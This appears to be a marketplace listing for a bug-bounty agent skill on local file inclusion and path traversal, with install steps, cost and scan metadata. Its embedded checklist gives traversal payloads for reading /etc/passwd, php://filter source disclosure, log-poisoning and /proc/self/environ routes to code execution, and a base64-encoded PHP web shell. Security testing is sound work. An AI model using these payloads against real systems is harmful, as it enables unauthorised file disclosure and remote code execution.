What is lfi-path-traversal?

A security-testing checklist for finding local file inclusion and path-traversal flaws, where user input may access files outside the intended directory.

Use it when testing file parameters in web applications for directory traversal, encoded traversal, file filtering, or related inclusion weaknesses.

It gives testers example inputs for checking whether a file parameter can expose unintended local files or enable further attacks.

lfi-path-traversal — Skill by sanjaysaini1952/BugBounty-Arsenal

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo

git clone --depth 1 https://github.com/sanjaysaini1952/BugBounty-Arsenal

agentmods

npx agentmods add skills/sanjaysaini1952/bugbounty-arsenal/lfi-path-traversal

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/lfi-path-traversal/github.svg)](https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/lfi-path-traversal)

Your own site

<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/lfi-path-traversal"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/lfi-path-traversal/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/lfi-path-traversal"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/lfi-path-traversal.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 0 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 397 The whole file, excluding the scripts and references it only reads on demand.

Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00000	$0.00397
Opus 5.5	$0.00000	$0.00159
Sonnet 5.5	$0.00000	$0.00079
Haiku 4.5	$0.00000	$0.00040

Measured 2mo ago against content hash 55bfedbc4b60, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

lfi-path-traversal scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/hunting/lfi-path-traversal/SKILL.md · 37 lines

What it actually says

LFI / Path Traversal Hunting Skill — 6 Test Cases

Load when: LFI, local file inclusion, path traversal, directory traversal.

186. Basic LFI (easy)

Test every file parameter with: ../../../etc/passwd, ....//....//....//etc/passwd, %2e%2e%2f. Report file content in response.

187. LFI with null byte (easy)

If PHP <5.3.4: ../../../etc/passwd%00. Report null byte truncation.

188. LFI with encoding (medium)

Double URL encode: %252e%252e%252f, UTF-8 overlong: %c0%ae%c0%ae/, null bytes: %00.

189. LFI to RCE via log poisoning (hard)

Inject PHP code into User-Agent, then LFI /var/log/apache2/access.log to execute it.

190. LFI via /proc/self/environ (hard)

LFI /proc/self/environ if PHP running as CGI. Inject payload in User-Agent.

191. LFI via php://filter (medium)

Use php://filter/convert.base64-encode/resource=config.php to read source code.

LFI Payload Reference

../../../etc/passwd
....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
php://filter/convert.base64-encode/resource=config.php
php://input (POST body)
expect://id
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=
/proc/self/environ
/var/log/apache2/access.log

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

2mo ago First seen · 37 lines · 0 tokens per session scan A 55bfedbc4b60

Subscribe to this mod's changes

lfi-path-traversal is a skill published in the GitHub repository sanjaysaini1952/BugBounty-Arsenal (2 stars, last pushed 3mo ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 397 tokens. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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